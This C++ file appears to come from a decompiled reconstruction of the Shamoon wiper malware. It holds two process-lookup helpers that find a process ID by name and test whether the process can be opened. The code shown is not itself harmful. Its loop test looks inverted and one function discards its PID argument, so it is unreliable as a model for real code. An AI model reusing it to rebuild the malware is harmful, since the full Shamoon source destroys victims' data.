// Copyright 2015 Christian Roggia. All rights reserved.
// Use of this source code is governed by an Apache 2.0 license that can be
// found in the LICENSE file.

#include "Process.h"
#include "String.h"

using namespace Shamoon::Utils::String;

DWORD Shamoon::Utils::Process::GetProcessID(WCHAR *process_name)
{
	HANDLE hSnapshot; // esi@1
	PROCESSENTRY32W pe; // [sp+8h] [bp-230h]@1

	pe.dwSize = 556;

	hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if(hSnapshot == INVALID_HANDLE_VALUE)
		return 0;
	
	Process32FirstW(hSnapshot, &pe);
	while(!strcmpW(process_name, pe.szExeFile))
	{
		if(!Process32NextW(hSnapshot, &pe))
		{
			CloseHandle(hSnapshot);
			return 0;
		}
	}
	CloseHandle(hSnapshot);
	
	return pe.th32ProcessID;
}

DWORD Shamoon::Utils::Process::SearchProcessByIdOrName(DWORD dwPID, WCHAR *szProcessName)
{
	HANDLE hProcess; // eax@4

	if(!dwPID && !szProcessName)					return 0;
	if((dwPID = GetProcessID(szProcessName)) == 0)	return 0;
	
	if((hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwPID)) == 0) return 0;

	CloseHandle(hProcess);
	return dwPID;
}